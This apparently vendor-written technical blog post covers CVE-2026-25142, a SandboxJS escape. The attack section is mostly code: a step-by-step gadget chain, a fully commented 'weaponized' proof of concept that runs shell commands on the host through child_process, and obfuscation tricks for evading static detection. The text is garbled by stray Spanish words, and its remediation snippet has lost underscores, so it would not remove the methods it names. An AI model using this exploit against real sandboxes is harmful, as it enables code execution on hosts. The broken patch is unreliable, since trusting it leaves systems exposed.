CVE-2026-25142: The “Ghost Accessor” RCE – Deconstructing the SandboxJS Escape

Introduction: The Fall of the Software Sandbox

On February 3, 2026, the maintainers of SandboxJS released an emergency patch (v0.8.27) addressing CVE-2026-25142, a vulnerability that effectively renders the library’s isolation mechanisms null and void. For security engineers, this is not just another patch; it is a confirmation of a long-held suspicion in the InfoSec community: JavaScript software-based sandboxing is fundamentally brittle.

Unlike buffer overflows or deserialization attacks which rely on implementation errors, CVE-2026-25142 exploits a logical discrepancy between the ECMAScript specification of Proxies and the legacy implementation of Prototype Accessors (specifically __lookupGetter__).

This article serves as a definitive technical guide. We will bypass the surface-level descriptions found in standard advisories and descend into the V8 engine mechanics, construct a weaponized exploit chain, and discuss how the next generation of AI-driven penetration testing—spearheaded by platforms like Penligente—is changing the landscape of Zero-Day discovery.

Technical Context: The Proxy-Based Isolation Model

To understand the exploit, one must first respect the defense. SandboxJS (like the now-defunct vm2) attempts to create a secure execution context within a Node.js process using the ES6 Proxy API.

The Theory of Operation

When a user runs untrusted code:

JavaScript

const s = new Sandbox(); s.run(user_code_here);

The library wraps the global object (and all objects derived from it) in Proxy wrappers. These proxies utilize “Traps” to intercept operations:

1. get(target, prop, receiver): Intercepts property access. If the code asks for proceso, the trap returns undefined or throws an error.
2. apply(target, thisArg, argumentsList): Intercepts function calls.
3. getPrototypeOf(target): Prevents code from walking up the chain to the host’s Objeto.prototype.

The Security Boundary

The security relies on the Membrane Pattern. Every object entering the sandbox is wrapped; every object leaving the sandbox (via return values) is wrapped. The goal is to ensure the sandboxed code never holds a reference to a “raw” Host Object (an object belonging to the outer Context).

If an attacker obtains a raw Host Object (e.g., the host’s Función constructor), they can instantiate it to compile arbitrary code in the host’s memory space, bypassing the sandbox entirely.

The Vulnerability: Anatomy of __lookupGetter__

The flaw in SandboxJS < 0.8.27 was a failure to account for legacy introspection methods inherited from Objeto.prototype.

While modern JavaScript encourages Object.getOwnPropertyDescriptor(obj, 'prop'), V8 retains support for __lookupGetter__ (and its siblings __lookupSetter__, __defineGetter__, etc.) for web compatibility.

The Mechanics of the Bypass

When code executes obj.someProp, the Proxy consiga trap is triggered. The sandbox inspects someProp, checks its allow-list, and decides whether to return a value.

However, when code executes:

JavaScript

obj.__lookupGetter__('someProp')

The sequence of events in the engine is subtle but fatal:

1. Method Lookup: The code accesses the property named __lookupGetter__ on obj. The Proxy intercepts this consiga request. Since __lookupGetter__ is a standard method on Objeto.prototype, the sandbox (falsely) deems it safe and allows the access.
2. Invocation: The attacker calls the method. __lookupGetter__ corre.
3. The Logical Gap: __lookupGetter__ does not access the property someProp in a way that triggers the Proxy’s consiga trap for someProp. Instead, it inspects the internal property descriptor map of the object (or its prototype chain).
4. The Leak: If someProp is defined as an accessor (getter/setter) on the prototype object, __lookupGetter__ returns the Function object of that getter.

Critical Failure: In SandboxJS, the prototype of the proxied object often points to the Host’s Objeto.prototype (to allow standard methods like toString to work). When __lookupGetter__ retrieves the getter function, it retrieves the Host Function.

Porque __lookupGetter__ is a method call returning a value, and the sandbox logic failed to wrap the result of this specific legacy method, the attacker receives a raw, unwrapped Host Function.

Constructing the Gadget Chain Exploit Engineering

A raw function reference alone is not RCE. We must build a Cadena de artilugios to turn this reference into code execution.

Step 1: The Entry Point

We need an object that has a getter defined on its prototype chain. In V8, __proto__ itself is often implemented as a getter/setter pair on Objeto.prototype.

JavaScript

// Inside the sandbox const target = {}; // We want the getter for '__proto__' const leak = target.__lookupGetter__("__proto__");

Step 2: Escaping the Scope

The variable leak now holds the native get __proto__() function from the host context.

In JavaScript, every function has a .constructor property that points to the Function Constructor used to create it.

• Sandboxed functions point to the Sandboxed Function Constructor.
• Host functions point to the Host Function Constructor.

JavaScript

const HostFunction = leak.constructor;

Step 3: Weaponization

En Función constructor is essentially eval() on steroids. It creates a new function in the global scope of its origin (the Host).

JavaScript

const cmd = "return process.mainModule.require('child_process').execSync('id').toString()"; const payload = new HostFunction(cmd);

Step 4: Execution

Invoking payload() executes the string in the host context, completely ignoring the sandbox constraints.

Comprehensive Proof of Concept (PoC)

The following is a fully commented, weaponized PoC designed to test for CVE-2026-25142. It includes error handling and environment detection to verify the specific breakdown of the sandbox.

JavaScript

`/**

• CVE-2026-25142: SandboxJS Remote Code Execution PoC
  • TARGET: SandboxJS < 0.8.27
• AUTHOR: Security Research & Engineering Team
• TYPE: Prototype Accessor Leak */

const Sandbox = require(‘sandboxjs’); const s = new Sandbox();

const exploitPayload = ` try { // Phase 1: Gadget Discovery // We utilize a plain object. In V8, plain objects inherit from Object.prototype. // We target ‘proto‘ because it is universally available as an accessor. const gadget = {};

    console.log("[1] Attempting to invoke __lookupGetter__...");
    
    // The Vulnerability: 
    // The sandbox fails to sanitize the return value of this specific legacy method.
    const getter = gadget.__lookupGetter__("__proto__");
    
    if (!getter) {
        throw new Error("Exploit failed: __lookupGetter__ returned null or undefined.");
    }
    
    // Phase 2: Context Escalation
    // Verify if we have a raw host function by checking its constructor's name
    // and its ability to generate unconstrained code.
    const HostConstructor = getter.constructor;
    
    console.log("[2] Leaked Constructor: " + HostConstructor.name);
    
    // Phase 3: Payload Injection
    // We construct a function that imports 'child_process' (Node.js) 
    // process.mainModule is a standard way to reach the root module loader.
    const rceCode = "return process.mainModule.require('child_process').execSync('uname -a').toString()";
    
    // This function is created in the HOST context, not the SANDBOX context.
    const maliciousFn = new HostConstructor(rceCode);
    
    console.log("[3] Executing Payload...");
    const result = maliciousFn();
    
    result; // Return the output to the main script
    
} catch (e) {
    "ERROR: " + e.message;
}

`;

console.log(“— STARTING EXPLOIT —“); const output = s.run(exploitPayload); console.log(“— EXPLOIT OUTPUT —“); console.log(output);

// Verification Logic if (output.includes(“Linux”) || output.includes(“Darwin”) || output.includes(“Windows”)) { console.log(“\n[!!!] CRITICAL: SYSTEM COMPROMISED. RCE CONFIRMED.”); } else { console.log(“\n[*] System appears safe or exploit blocked.”); }`

Advanced Topics: Evasion & Persistence

Sophisticated threat actors will not use the clean PoC above. They will employ obfuscation to bypass static analysis filters that might be looking for __lookupGetter__ o child_process.

Obfuscation Techniques

1. **Computed Property Access:**JavaScript Attackers avoid writing __lookupGetter__ directly. const s = "lookup"; const g = "Getter"; const magic = "__" + s + g + "__"; obj[magic]('__proto__');
2. Alternative Gadgets (The “Polymorphic” Attack): Si __lookupGetter__ is patched but __lookupSetter__ is forgotten (a common mistake in incomplete patches), the attack works identically.
3. Reflect API Abuse: In some environments, Reflect.get(Object.prototype, '__lookupGetter__', obj) can be used to invoke the method even if it has been deleted from the object instance, provided the sandbox allows access to Reflect.

The Evolution of Detection: Enter Penligent.ai

The discovery of CVE-2026-25142 highlights a critical deficiency in traditional AST-based (Abstract Syntax Tree) security scanners. A static analyzer sees obj.__lookupGetter__ as valid, harmless code. It cannot understand the contextual implication that the return value breaches the membrane.

Aquí es donde AI-driven Automated Penetration Testing representa un cambio de paradigma.

How AI Finds Logic Flaws

En Penligente, our core product—the AI Automated Penetration Testing Platform—approaches this differently. We do not just scan code; we instantiate “Agentic Pentesters.”

Scenario: Detecting CVE-2026-25142 with Penligent

1. Reconocimiento: The Penligent Agent analyzes the target environment (SandboxJS). It identifies it as a “Restricted Execution Environment.”
2. Strategy Formulation: The Agent queries its internal knowledge base of sandbox escape patterns (Prototype Pollution, Context Confusion, Proxy Bypasses).
3. Adaptive Fuzzing: The Agent generates dynamic payloads. It doesn’t just try known CVEs; it permutes standard JS methods.
   • Agent Thought: “Standard property access is blocked. Let me try legacy accessors.”
   • Acción: Injects __defineGetter__, __lookupGetter__, __proto__.
4. Result Analysis: When the Agent receives a Function object back from __lookupGetter__, it performs a “Safety Check”—checking fn.constructor === Function.
5. Validación: Upon confirming the leak, the Agent automatically generates a benign PoC (e.g., calculating a math operation using host resources) to prove the vulnerability without damaging the system.

Este comprensión semántica of the vulnerability class allows Penligent to find 0-days that traditional scanners (Snyk, SonarQube) miss entirely.

Industry Insight: If your security pipeline relies solely on static analysis, you are blind to logic vulnerabilities. Integrating an active, AI-driven red teaming solution is the only way to catch semantic flaws before attackers do.

Remediation & Defense in Depth

For teams affected by CVE-2026-25142, the path to remediation involves three layers: Immediate, Tactical, and Strategic.

Layer 1: Immediate Action (The Patch)

Upgrade to SandboxJS v0.8.27+.

The patch introduces a strict masking of legacy prototype methods. It overrides __lookupGetter__ inside the sandbox to throw a Security Error or return undefined.

Layer 2: Tactical Hardening (Runtime)

If upgrading is impossible due to legacy dependencies, you must apply a “Monkey Patch” before any user code runs.

JavaScript

`// Execute this BEFORE creating any sandbox instances // This removes the vector from the entire V8 Isolate delete Object.prototype.lookupGetter; delete Object.prototype.lookupSetter; delete Object.prototype.defineGetter; delete Object.prototype.defineSetter;

// Freeze the Object prototype to prevent re-addition Object.freeze(Object.prototype);`

Layer 3: Strategic Architecture (Isolation)

The ultimate lesson of CVE-2026-25142 is that language-level isolation is insufficient for high-risk code.

Recomendación: Move to WASM (WebAssembly) o Micro-VMs.

• WASM: Technologies like QuickJS-on-WASM allow you to run JavaScript inside a WebAssembly container. Even if the attacker escapes the JS engine, they are trapped in the WASM linear memory, with no access to the host OS exec functions.
• Firecracker/gVisor: If you must use Node.js vm, wrap the entire process in a micro-VM. This ensures that RCE only compromises a disposable, ephemeral container.

Conclusión

CVE-2026-25142 is a masterclass in the complexity of modern JavaScript engines. It demonstrates that as long as we rely on complex, dynamic languages to police themselves, we will see escapes. The interaction between legacy features (__lookupGetter__) and modern features (Proxy) creates a massive state space that human auditors struggle to cover fully.

For the security engineer, the mandate is clear: Assume the sandbox is broken. Build your defenses outside the application layer, and leverage the power of AI automation to continuously validate your assumptions.

Referencias y lecturas complementarias

• [1] NIST NVD: CVE-2026-25142 Detail & CVSS Scoring
• [2] Penligent Research: The Death of Static Analysis: Why AI Agents Are the Future of Pentesting
• [3] V8 Documentation: Legacy Accessor Methods and Prototype Chains
• [4] OWASP: Server-Side Sandbox Bypass Cheat Sheet
• [5] Penligent Blog: Understanding Agentic Security Models